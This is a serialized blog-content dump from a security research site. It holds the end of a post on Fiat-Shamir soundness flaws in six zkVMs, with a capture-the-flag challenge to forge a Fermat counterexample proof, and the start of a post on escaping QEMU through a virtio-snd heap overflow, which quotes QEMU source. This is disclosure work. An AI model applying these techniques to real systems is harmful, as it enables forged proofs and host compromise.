T-shirt.",{"type":23,"tag":24,"props":122694,"children":122695},{},[122696,122698,122751,122752,123008],{"type":28,"value":122697},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":92,"props":122699,"children":122701},{"className":122700},[1183,1184],[122702],{"type":23,"tag":134,"props":122703,"children":122705},{"className":122704},[1189],[122706],{"type":23,"tag":134,"props":122707,"children":122709},{"className":122708,"ariaHidden":1195},[1194],[122710],{"type":23,"tag":134,"props":122711,"children":122713},{"className":122712},[1200],[122714,122718,122723,122728,122732,122737,122742,122746],{"type":23,"tag":134,"props":122715,"children":122717},{"className":122716,"style":114614},[1205],[],{"type":23,"tag":134,"props":122719,"children":122721},{"className":122720},[1211,21066],[122722],{"type":28,"value":31},{"type":23,"tag":134,"props":122724,"children":122726},{"className":122725},[1324],[122727],{"type":28,"value":1327},{"type":23,"tag":134,"props":122729,"children":122731},{"className":122730,"style":1331},[1292],[],{"type":23,"tag":134,"props":122733,"children":122735},{"className":122734},[1211,21066],[122736],{"type":28,"value":393},{"type":23,"tag":134,"props":122738,"children":122740},{"className":122739},[1324],[122741],{"type":28,"value":1327},{"type":23,"tag":134,"props":122743,"children":122745},{"className":122744,"style":1331},[1292],[],{"type":23,"tag":134,"props":122747,"children":122749},{"className":122748},[1211,21066],[122750],{"type":28,"value":315},{"type":28,"value":109215},{"type":23,"tag":92,"props":122753,"children":122755},{"className":122754},[1183,1184],[122756],{"type":23,"tag":134,"props":122757,"children":122759},{"className":122758},[1189],[122760],{"type":23,"tag":134,"props":122761,"children":122763},{"className":122762,"ariaHidden":1195},[1194],[122764,122827,122889,122995],{"type":23,"tag":134,"props":122765,"children":122767},{"className":122766},[1200],[122768,122773,122814,122818,122823],{"type":23,"tag":134,"props":122769,"children":122772},{"className":122770,"style":122771},[1205],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":134,"props":122774,"children":122776},{"className":122775},[1211],[122777,122782],{"type":23,"tag":134,"props":122778,"children":122780},{"className":122779},[1211,21066],[122781],{"type":28,"value":31},{"type":23,"tag":134,"props":122783,"children":122785},{"className":122784},[1228],[122786],{"type":23,"tag":134,"props":122787,"children":122789},{"className":122788},[1233],[122790],{"type":23,"tag":134,"props":122791,"children":122793},{"className":122792},[1238],[122794],{"type":23,"tag":134,"props":122795,"children":122797},{"className":122796,"style":1206},[1243],[122798],{"type":23,"tag":134,"props":122799,"children":122800},{"style":1247},[122801,122805],{"type":23,"tag":134,"props":122802,"children":122804},{"className":122803,"style":1253},[1252],[],{"type":23,"tag":134,"props":122806,"children":122808},{"className":122807},[1258,1259,1260,1261],[122809],{"type":23,"tag":134,"props":122810,"children":122812},{"className":122811},[1211,1261],[122813],{"type":28,"value":16768},{"type":23,"tag":134,"props":122815,"children":122817},{"className":122816,"style":1293},[1292],[],{"type":23,"tag":134,"props":122819,"children":122821},{"className":122820},[1298],[122822],{"type":28,"value":1586},{"type":23,"tag":134,"props":122824,"children":122826},{"className":122825,"style":1293},[1292],[],{"type":23,"tag":134,"props":122828,"children":122830},{"className":122829},[1200],[122831,122835,122876,122880,122885],{"type":23,"tag":134,"props":122832,"children":122834},{"className":122833,"style":1206},[1205],[],{"type":23,"tag":134,"props":122836,"children":122838},{"className":122837},[1211],[122839,122844],{"type":23,"tag":134,"props":122840,"children":122842},{"className":122841},[1211,21066],[122843],{"type":28,"value":393},{"type":23,"tag":134,"props":122845,"children":122847},{"className":122846},[1228],[122848],{"type":23,"tag":134,"props":122849,"children":122851},{"className":122850},[1233],[122852],{"type":23,"tag":134,"props":122853,"children":122855},{"className":122854},[1238],[122856],{"type":23,"tag":134,"props":122857,"children":122859},{"className":122858,"style":1206},[1243],[122860],{"type":23,"tag":134,"props":122861,"children":122862},{"style":1247},[122863,122867],{"type":23,"tag":134,"props":122864,"children":122866},{"className":122865,"style":1253},[1252],[],{"type":23,"tag":134,"props":122868,"children":122870},{"className":122869},[1258,1259,1260,1261],[122871],{"type":23,"tag":134,"props":122872,"children":122874},{"className":122873},[1211,1261],[122875],{"type":28,"value":16768},{"type":23,"tag":134,"props":122877,"children":122879},{"className":122878,"style":1390},[1292],[],{"type":23,"tag":134,"props":122881,"children":122883},{"className":122882},[1395],[122884],{"type":28,"value":257},{"type":23,"tag":134,"props":122886,"children":122888},{"className":122887,"style":1390},[1292],[],{"type":23,"tag":134,"props":122890,"children":122892},{"className":122891},[1200],[122893,122898,122939,122944,122948,122953,122958,122962,122967,122972,122976,122981,122985,122991],{"type":23,"tag":134,"props":122894,"children":122897},{"className":122895,"style":122896},[1205],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":134,"props":122899,"children":122901},{"className":122900},[1211],[122902,122907],{"type":23,"tag":134,"props":122903,"children":122905},{"className":122904},[1211,21066],[122906],{"type":28,"value":315},{"type":23,"tag":134,"props":122908,"children":122910},{"className":122909},[1228],[122911],{"type":23,"tag":134,"props":122912,"children":122914},{"className":122913},[1233],[122915],{"type":23,"tag":134,"props":122916,"children":122918},{"className":122917},[1238],[122919],{"type":23,"tag":134,"props":122920,"children":122922},{"className":122921,"style":1206},[1243],[122923],{"type":23,"tag":134,"props":122924,"children":122925},{"style":1247},[122926,122930],{"type":23,"tag":134,"props":122927,"children":122929},{"className":122928,"style":1253},[1252],[],{"type":23,"tag":134,"props":122931,"children":122933},{"className":122932},[1258,1259,1260,1261],[122934],{"type":23,"tag":134,"props":122935,"children":122937},{"className":122936},[1211,1261],[122938],{"type":28,"value":16768},{"type":23,"tag":134,"props":122940,"children":122942},{"className":122941},[1324],[122943],{"type":28,"value":1327},{"type":23,"tag":134,"props":122945,"children":122947},{"className":122946,"style":1331},[1292],[],{"type":23,"tag":134,"props":122949,"children":122951},{"className":122950},[1211,21066],[122952],{"type":28,"value":31},{"type":23,"tag":134,"props":122954,"children":122956},{"className":122955},[1324],[122957],{"type":28,"value":1327},{"type":23,"tag":134,"props":122959,"children":122961},{"className":122960,"style":1331},[1292],[],{"type":23,"tag":134,"props":122963,"children":122965},{"className":122964},[1211,21066],[122966],{"type":28,"value":393},{"type":23,"tag":134,"props":122968,"children":122970},{"className":122969},[1324],[122971],{"type":28,"value":1327},{"type":23,"tag":134,"props":122973,"children":122975},{"className":122974,"style":1331},[1292],[],{"type":23,"tag":134,"props":122977,"children":122979},{"className":122978},[1211,21066],[122980],{"type":28,"value":315},{"type":23,"tag":134,"props":122982,"children":122984},{"className":122983,"style":1390},[1292],[],{"type":23,"tag":134,"props":122986,"children":122988},{"className":122987},[1395],[122989],{"type":28,"value":122990},"≥",{"type":23,"tag":134,"props":122992,"children":122994},{"className":122993,"style":1390},[1292],[],{"type":23,"tag":134,"props":122996,"children":122998},{"className":122997},[1200],[122999,123003],{"type":23,"tag":134,"props":123000,"children":123002},{"className":123001,"style":93590},[1205],[],{"type":23,"tag":134,"props":123004,"children":123006},{"className":123005},[1211],[123007],{"type":28,"value":1214},{"type":28,"value":123009},". Good luck!",{"type":23,"tag":9072,"props":123011,"children":123013},{"id":123012},"jolt",[123014],{"type":28,"value":107372},{"type":23,"tag":24,"props":123016,"children":123017},{},[123018,123020,123031,123033],{"type":28,"value":123019},"See ",{"type":23,"tag":31,"props":123021,"children":123028},{"href":123022,"target":123023,"rel":123024,"download":123027},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[123025,123026],"noopener","noreferrer","handout_jolt.tar.gz",[123029],{"type":28,"value":123030},"the handout",{"type":28,"value":123032}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":92,"props":123034,"children":123036},{"className":123035},[],[123037],{"type":28,"value":123038},"jolt.chal.osec.io:8960",{"type":23,"tag":9072,"props":123040,"children":123042},{"id":123041},"nexus-1",[123043],{"type":28,"value":107378},{"type":23,"tag":24,"props":123045,"children":123046},{},[123047,123048,123055,123056],{"type":28,"value":123019},{"type":23,"tag":31,"props":123049,"children":123053},{"href":123050,"target":123023,"rel":123051,"download":123052},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[123025,123026],"handout_nexus.tar.gz",[123054],{"type":28,"value":123030},{"type":28,"value":123032},{"type":23,"tag":92,"props":123057,"children":123059},{"className":123058},[],[123060],{"type":28,"value":123061},"nexus.chal.osec.io:8950",{"type":23,"tag":24,"props":123063,"children":123064},{},[123065],{"type":28,"value":123066},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":18268,"props":123068,"children":123069},{},[],{"type":23,"tag":61,"props":123071,"children":123073},{"id":123072},"takeaways",[123074],{"type":28,"value":123075},"Takeaways",{"type":23,"tag":24,"props":123077,"children":123078},{},[123079],{"type":28,"value":123080},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":24,"props":123082,"children":123083},{},[123084],{"type":28,"value":123085},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":24,"props":123087,"children":123088},{},[123089,123094],{"type":23,"tag":2532,"props":123090,"children":123091},{},[123092],{"type":28,"value":123093},"For the ZK ecosystem:",{"type":28,"value":123095}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":24,"props":123097,"children":123098},{},[123099],{"type":28,"value":123100},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":24,"props":123102,"children":123103},{},[123104,123109],{"type":23,"tag":2532,"props":123105,"children":123106},{},[123107],{"type":28,"value":123108},"For auditors:",{"type":28,"value":123110}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":24,"props":123112,"children":123113},{},[123114,123119],{"type":23,"tag":2532,"props":123115,"children":123116},{},[123117],{"type":28,"value":123118},"For builders:",{"type":28,"value":123120}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":2575,"props":123122,"children":123123},{},[123124],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":123126},[123127,123128,123131,123137,123138,123146,123152,123155,123156,123160],{"id":107423,"depth":147,"text":107426},{"id":107565,"depth":147,"text":107568,"children":123129},[123130],{"id":107571,"depth":185,"text":107574},{"id":108000,"depth":147,"text":108003,"children":123132},[123133,123134,123135,123136],{"id":108011,"depth":185,"text":108014},{"id":108199,"depth":185,"text":108202},{"id":111580,"depth":185,"text":111583},{"id":112794,"depth":185,"text":112797},{"id":114431,"depth":147,"text":114434},{"id":114937,"depth":147,"text":114940,"children":123139},[123140,123141,123142,123143,123144,123145],{"id":114959,"depth":185,"text":114962},{"id":116284,"depth":185,"text":107378},{"id":117420,"depth":185,"text":117423},{"id":118088,"depth":185,"text":118091},{"id":120744,"depth":185,"text":120747},{"id":121298,"depth":185,"text":107402},{"id":122227,"depth":147,"text":122230,"children":123147},[123148,123149,123150,123151],{"id":122238,"depth":185,"text":122241},{"id":122408,"depth":185,"text":122411},{"id":122432,"depth":185,"text":122435},{"id":122448,"depth":185,"text":122451},{"id":122462,"depth":147,"text":122465,"children":123153},[123154],{"id":122468,"depth":185,"text":122471},{"id":122502,"depth":147,"text":122505},{"id":122679,"depth":147,"text":107415,"children":123157},[123158,123159],{"id":123012,"depth":185,"text":107372},{"id":123041,"depth":185,"text":107378},{"id":123072,"depth":147,"text":123075},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":123165,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":123166,"description":123167,"date":123168,"author":123169,"image":123170,"isFeatured":15,"onBlogPage":15,"tags":123172,"body":123175,"_type":2586,"_id":131461,"_source":2588,"_file":131462,"_stem":131463,"_extension":2591},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":123171,"width":96780,"height":13091},"/posts/virtio-snd-qemu-0day/title.png",[123173,123174],"qemu","heap-overflow",{"type":20,"children":123176,"toc":131443},[123177,123182,123187,123192,123198,123203,123208,123216,123222,123234,123238,123243,123251,123256,123262,123267,123280,123890,123925,123970,124004,124039,124174,124222,124228,124233,124989,125034,125070,125105,125170,125190,125640,125687,125690,125695,125760,125786,125808,125812,125817,125822,125828,125833,125838,125843,125849,125862,125868,125873,125881,125951,125956,125962,125975,126201,126264,126283,126666,126671,126704,126709,126985,126997,127015,127294,127306,127309,127344,127349,127355,127367,127379,127384,127389,127399,127434,128051,128083,128094,128130,128143,128149,128161,128169,128195,128200,128233,128274,128280,128299,128337,128345,128394,128399,128448,128453,128461,128548,128554,128593,128605,128613,128631,128650,128658,128670,128678,128697,128705,128716,128724,128735,128743,128756,128764,128770,128775,128788,128796,128814,128822,128834,128839,128847,128883,128916,128923,128957,128965,128970,128976,128988,128999,129278,129338,129406,129414,129448,130052,130063,130071,130077,130082,130093,130847,130880,130892,130978,130998,131207,131254,131266,131272,131291,131317,131345,131361,131388,131391,131411,131425,131429,131434,131439],{"type":23,"tag":24,"props":123178,"children":123179},{},[123180],{"type":28,"value":123181},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":61,"props":123183,"children":123184},{"id":123173},[123185],{"type":28,"value":123186},"QEMU",{"type":23,"tag":24,"props":123188,"children":123189},{},[123190],{"type":28,"value":123191},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":9072,"props":123193,"children":123195},{"id":123194},"virtio-devices",[123196],{"type":28,"value":123197},"Virtio Devices",{"type":23,"tag":24,"props":123199,"children":123200},{},[123201],{"type":28,"value":123202},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":24,"props":123204,"children":123205},{},[123206],{"type":28,"value":123207},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":24,"props":123209,"children":123210},{},[123211],{"type":23,"tag":1116,"props":123212,"children":123215},{"alt":123213,"src":123214},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":61,"props":123217,"children":123219},{"id":123218},"finding-a-bug",[123220],{"type":28,"value":123221},"Finding a Bug",{"type":23,"tag":24,"props":123223,"children":123224},{},[123225,123227,123233],{"type":28,"value":123226},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":92,"props":123228,"children":123230},{"className":123229},[],[123231],{"type":28,"value":123232},"virtio-snd",{"type":28,"value":720},{"type":23,"tag":9072,"props":123235,"children":123236},{"id":123232},[123237],{"type":28,"value":123232},{"type":23,"tag":24,"props":123239,"children":123240},{},[123241],{"type":28,"value":123242},"From the official documentation:",{"type":23,"tag":78,"props":123244,"children":123245},{},[123246],{"type":23,"tag":24,"props":123247,"children":123248},{},[123249],{"type":28,"value":123250},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":24,"props":123252,"children":123253},{},[123254],{"type":28,"value":123255},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":18368,"props":123257,"children":123259},{"id":123258},"audio-data-buffers",[123260],{"type":28,"value":123261},"Audio Data Buffers",{"type":23,"tag":24,"props":123263,"children":123264},{},[123265],{"type":28,"value":123266},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":24,"props":123268,"children":123269},{},[123270,123272,123278],{"type":28,"value":123271},"For example, the following is ",{"type":23,"tag":92,"props":123273,"children":123275},{"className":123274},[],[123276],{"type":28,"value":123277},"virtio_snd_handle_rx_xfer",{"type":28,"value":123279},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":87,"props":123281,"children":123283},{"code":123282,"language":315,"meta":7,"className":15985,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[123284],{"type":23,"tag":92,"props":123285,"children":123286},{"__ignoreMap":7},[123287,123294,123302,123310,123317,123325,123333,123341,123389,123396,123413,123420,123427,123439,123456,123463,123499,123519,123530,123537,123544,123552,123559,123592,123651,123669,123708,123733,123757,123785,123812,123850,123857,123869,123876,123883],{"type":23,"tag":134,"props":123288,"children":123289},{"class":136,"line":137},[123290],{"type":23,"tag":134,"props":123291,"children":123292},{"style":141},[123293],{"type":28,"value":48871},{"type":23,"tag":134,"props":123295,"children":123296},{"class":136,"line":147},[123297],{"type":23,"tag":134,"props":123298,"children":123299},{"style":141},[123300],{"type":28,"value":123301}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":134,"props":123303,"children":123304},{"class":136,"line":185},[123305],{"type":23,"tag":134,"props":123306,"children":123307},{"style":141},[123308],{"type":28,"value":123309}," * respective streams for consumption.\n",{"type":23,"tag":134,"props":123311,"children":123312},{"class":136,"line":221},[123313],{"type":23,"tag":134,"props":123314,"children":123315},{"style":141},[123316],{"type":28,"value":18965},{"type":23,"tag":134,"props":123318,"children":123319},{"class":136,"line":332},[123320],{"type":23,"tag":134,"props":123321,"children":123322},{"style":141},[123323],{"type":28,"value":123324}," * @vdev: VirtIOSound device\n",{"type":23,"tag":134,"props":123326,"children":123327},{"class":136,"line":438},[123328],{"type":23,"tag":134,"props":123329,"children":123330},{"style":141},[123331],{"type":28,"value":123332}," * @vq: rx virtqueue\n",{"type":23,"tag":134,"props":123334,"children":123335},{"class":136,"line":466},[123336],{"type":23,"tag":134,"props":123337,"children":123338},{"style":141},[123339],{"type":28,"value":123340}," */\n",{"type":23,"tag":134,"props":123342,"children":123343},{"class":136,"line":479},[123344,123348,123352,123357,123362,123366,123371,123376,123380,123385],{"type":23,"tag":134,"props":123345,"children":123346},{"style":151},[123347],{"type":28,"value":50550},{"type":23,"tag":134,"props":123349,"children":123350},{"style":151},[123351],{"type":28,"value":50555},{"type":23,"tag":134,"props":123353,"children":123354},{"style":264},[123355],{"type":28,"value":123356}," virtio_snd_handle_rx_xfer",{"type":23,"tag":134,"props":123358,"children":123359},{"style":179},[123360],{"type":28,"value":123361},"(VirtIODevice ",{"type":23,"tag":134,"props":123363,"children":123364},{"style":168},[123365],{"type":28,"value":1777},{"type":23,"tag":134,"props":123367,"children":123368},{"style":162},[123369],{"type":28,"value":123370},"vdev",{"type":23,"tag":134,"props":123372,"children":123373},{"style":179},[123374],{"type":28,"value":123375},", VirtQueue ",{"type":23,"tag":134,"props":123377,"children":123378},{"style":168},[123379],{"type":28,"value":1777},{"type":23,"tag":134,"props":123381,"children":123382},{"style":162},[123383],{"type":28,"value":123384},"vq",{"type":23,"tag":134,"props":123386,"children":123387},{"style":179},[123388],{"type":28,"value":329},{"type":23,"tag":134,"props":123390,"children":123391},{"class":136,"line":497},[123392],{"type":23,"tag":134,"props":123393,"children":123394},{"style":179},[123395],{"type":28,"value":10346},{"type":23,"tag":134,"props":123397,"children":123398},{"class":136,"line":518},[123399,123404,123408],{"type":23,"tag":134,"props":123400,"children":123401},{"style":179},[123402],{"type":28,"value":123403},"    VirtQueueElement ",{"type":23,"tag":134,"props":123405,"children":123406},{"style":168},[123407],{"type":28,"value":1777},{"type":23,"tag":134,"props":123409,"children":123410},{"style":179},[123411],{"type":28,"value":123412},"elem;\n",{"type":23,"tag":134,"props":123414,"children":123415},{"class":136,"line":527},[123416],{"type":23,"tag":134,"props":123417,"children":123418},{"style":179},[123419],{"type":28,"value":104313},{"type":23,"tag":134,"props":123421,"children":123422},{"class":136,"line":780},[123423],{"type":23,"tag":134,"props":123424,"children":123425},{"emptyLinePlaceholder":15},[123426],{"type":28,"value":865},{"type":23,"tag":134,"props":123428,"children":123429},{"class":136,"line":797},[123430,123434],{"type":23,"tag":134,"props":123431,"children":123432},{"style":189},[123433],{"type":28,"value":192},{"type":23,"tag":134,"props":123435,"children":123436},{"style":179},[123437],{"type":28,"value":123438}," (;;) {\n",{"type":23,"tag":134,"props":123440,"children":123441},{"class":136,"line":814},[123442,123447,123451],{"type":23,"tag":134,"props":123443,"children":123444},{"style":179},[123445],{"type":28,"value":123446},"        VirtIOSoundPCMStream ",{"type":23,"tag":134,"props":123448,"children":123449},{"style":168},[123450],{"type":28,"value":1777},{"type":23,"tag":134,"props":123452,"children":123453},{"style":179},[123454],{"type":28,"value":123455},"stream;\n",{"type":23,"tag":134,"props":123457,"children":123458},{"class":136,"line":827},[123459],{"type":23,"tag":134,"props":123460,"children":123461},{"emptyLinePlaceholder":15},[123462],{"type":28,"value":865},{"type":23,"tag":134,"props":123464,"children":123465},{"class":136,"line":836},[123466,123471,123475,123480,123485,123489,123494],{"type":23,"tag":134,"props":123467,"children":123468},{"style":179},[123469],{"type":28,"value":123470},"        elem ",{"type":23,"tag":134,"props":123472,"children":123473},{"style":168},[123474],{"type":28,"value":257},{"type":23,"tag":134,"props":123476,"children":123477},{"style":264},[123478],{"type":28,"value":123479}," virtqueue_pop",{"type":23,"tag":134,"props":123481,"children":123482},{"style":179},[123483],{"type":28,"value":123484},"(vq, ",{"type":23,"tag":134,"props":123486,"children":123487},{"style":151},[123488],{"type":28,"value":54834},{"type":23,"tag":134,"props":123490,"children":123491},{"style":179},[123492],{"type":28,"value":123493},"(VirtQueueElement));",{"type":23,"tag":134,"props":123495,"children":123496},{"style":141},[123497],{"type":28,"value":123498},"     // [1]\n",{"type":23,"tag":134,"props":123500,"children":123501},{"class":136,"line":859},[123502,123506,123510,123514],{"type":23,"tag":134,"props":123503,"children":123504},{"style":189},[123505],{"type":28,"value":444},{"type":23,"tag":134,"props":123507,"children":123508},{"style":179},[123509],{"type":28,"value":232},{"type":23,"tag":134,"props":123511,"children":123512},{"style":168},[123513],{"type":28,"value":20099},{"type":23,"tag":134,"props":123515,"children":123516},{"style":179},[123517],{"type":28,"value":123518},"elem) {\n",{"type":23,"tag":134,"props":123520,"children":123521},{"class":136,"line":868},[123522,123526],{"type":23,"tag":134,"props":123523,"children":123524},{"style":189},[123525],{"type":28,"value":472},{"type":23,"tag":134,"props":123527,"children":123528},{"style":179},[123529],{"type":28,"value":182},{"type":23,"tag":134,"props":123531,"children":123532},{"class":136,"line":877},[123533],{"type":23,"tag":134,"props":123534,"children":123535},{"style":179},[123536],{"type":28,"value":524},{"type":23,"tag":134,"props":123538,"children":123539},{"class":136,"line":946},[123540],{"type":23,"tag":134,"props":123541,"children":123542},{"emptyLinePlaceholder":15},[123543],{"type":28,"value":865},{"type":23,"tag":134,"props":123545,"children":123546},{"class":136,"line":954},[123547],{"type":23,"tag":134,"props":123548,"children":123549},{"style":179},[123550],{"type":28,"value":123551},"        [...]\n",{"type":23,"tag":134,"props":123553,"children":123554},{"class":136,"line":984},[123555],{"type":23,"tag":134,"props":123556,"children":123557},{"emptyLinePlaceholder":15},[123558],{"type":28,"value":865},{"type":23,"tag":134,"props":123560,"children":123561},{"class":136,"line":992},[123562,123567,123571,123575,123579,123583,123588],{"type":23,"tag":134,"props":123563,"children":123564},{"style":264},[123565],{"type":28,"value":123566},"        WITH_QEMU_LOCK_GUARD",{"type":23,"tag":134,"props":123568,"children":123569},{"style":179},[123570],{"type":28,"value":272},{"type":23,"tag":134,"props":123572,"children":123573},{"style":168},[123574],{"type":28,"value":277},{"type":23,"tag":134,"props":123576,"children":123577},{"style":162},[123578],{"type":28,"value":35759},{"type":23,"tag":134,"props":123580,"children":123581},{"style":179},[123582],{"type":28,"value":13225},{"type":23,"tag":134,"props":123584,"children":123585},{"style":162},[123586],{"type":28,"value":123587},"queue_mutex",{"type":23,"tag":134,"props":123589,"children":123590},{"style":179},[123591],{"type":28,"value":14272},{"type":23,"tag":134,"props":123593,"children":123594},{"class":136,"line":1024},[123595,123600,123604,123609,123613,123617,123621,123626,123630,123634,123638,123643,123647],{"type":23,"tag":134,"props":123596,"children":123597},{"style":179},[123598],{"type":28,"value":123599},"            size ",{"type":23,"tag":134,"props":123601,"children":123602},{"style":168},[123603],{"type":28,"value":257},{"type":23,"tag":134,"props":123605,"children":123606},{"style":264},[123607],{"type":28,"value":123608}," iov_size",{"type":23,"tag":134,"props":123610,"children":123611},{"style":179},[123612],{"type":28,"value":272},{"type":23,"tag":134,"props":123614,"children":123615},{"style":162},[123616],{"type":28,"value":51570},{"type":23,"tag":134,"props":123618,"children":123619},{"style":179},[123620],{"type":28,"value":13225},{"type":23,"tag":134,"props":123622,"children":123623},{"style":162},[123624],{"type":28,"value":123625},"in_sg",{"type":23,"tag":134,"props":123627,"children":123628},{"style":179},[123629],{"type":28,"value":242},{"type":23,"tag":134,"props":123631,"children":123632},{"style":162},[123633],{"type":28,"value":51570},{"type":23,"tag":134,"props":123635,"children":123636},{"style":179},[123637],{"type":28,"value":13225},{"type":23,"tag":134,"props":123639,"children":123640},{"style":162},[123641],{"type":28,"value":123642},"in_num",{"type":23,"tag":134,"props":123644,"children":123645},{"style":179},[123646],{"type":28,"value":252},{"type":23,"tag":134,"props":123648,"children":123649},{"style":168},[123650],{"type":28,"value":50367},{"type":23,"tag":134,"props":123652,"children":123653},{"class":136,"line":1032},[123654,123659,123664],{"type":23,"tag":134,"props":123655,"children":123656},{"style":151},[123657],{"type":28,"value":123658},"                sizeof",{"type":23,"tag":134,"props":123660,"children":123661},{"style":179},[123662],{"type":28,"value":123663},"(virtio_snd_pcm_status);",{"type":23,"tag":134,"props":123665,"children":123666},{"style":141},[123667],{"type":28,"value":123668},"                  // [2]\n",{"type":23,"tag":134,"props":123670,"children":123671},{"class":136,"line":1092},[123672,123677,123681,123686,123690,123694,123699,123703],{"type":23,"tag":134,"props":123673,"children":123674},{"style":179},[123675],{"type":28,"value":123676},"            buffer ",{"type":23,"tag":134,"props":123678,"children":123679},{"style":168},[123680],{"type":28,"value":257},{"type":23,"tag":134,"props":123682,"children":123683},{"style":264},[123684],{"type":28,"value":123685}," g_malloc0",{"type":23,"tag":134,"props":123687,"children":123688},{"style":179},[123689],{"type":28,"value":272},{"type":23,"tag":134,"props":123691,"children":123692},{"style":151},[123693],{"type":28,"value":54834},{"type":23,"tag":134,"props":123695,"children":123696},{"style":179},[123697],{"type":28,"value":123698},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":134,"props":123700,"children":123701},{"style":168},[123702],{"type":28,"value":1586},{"type":23,"tag":134,"props":123704,"children":123705},{"style":179},[123706],{"type":28,"value":123707}," size);\n",{"type":23,"tag":134,"props":123709,"children":123710},{"class":136,"line":8508},[123711,123716,123720,123724,123728],{"type":23,"tag":134,"props":123712,"children":123713},{"style":162},[123714],{"type":28,"value":123715},"            buffer",{"type":23,"tag":134,"props":123717,"children":123718},{"style":179},[123719],{"type":28,"value":13225},{"type":23,"tag":134,"props":123721,"children":123722},{"style":162},[123723],{"type":28,"value":51570},{"type":23,"tag":134,"props":123725,"children":123726},{"style":168},[123727],{"type":28,"value":171},{"type":23,"tag":134,"props":123729,"children":123730},{"style":179},[123731],{"type":28,"value":123732}," elem;\n",{"type":23,"tag":134,"props":123734,"children":123735},{"class":136,"line":8526},[123736,123740,123744,123748,123752],{"type":23,"tag":134,"props":123737,"children":123738},{"style":162},[123739],{"type":28,"value":123715},{"type":23,"tag":134,"props":123741,"children":123742},{"style":179},[123743],{"type":28,"value":13225},{"type":23,"tag":134,"props":123745,"children":123746},{"style":162},[123747],{"type":28,"value":123384},{"type":23,"tag":134,"props":123749,"children":123750},{"style":168},[123751],{"type":28,"value":171},{"type":23,"tag":134,"props":123753,"children":123754},{"style":179},[123755],{"type":28,"value":123756}," 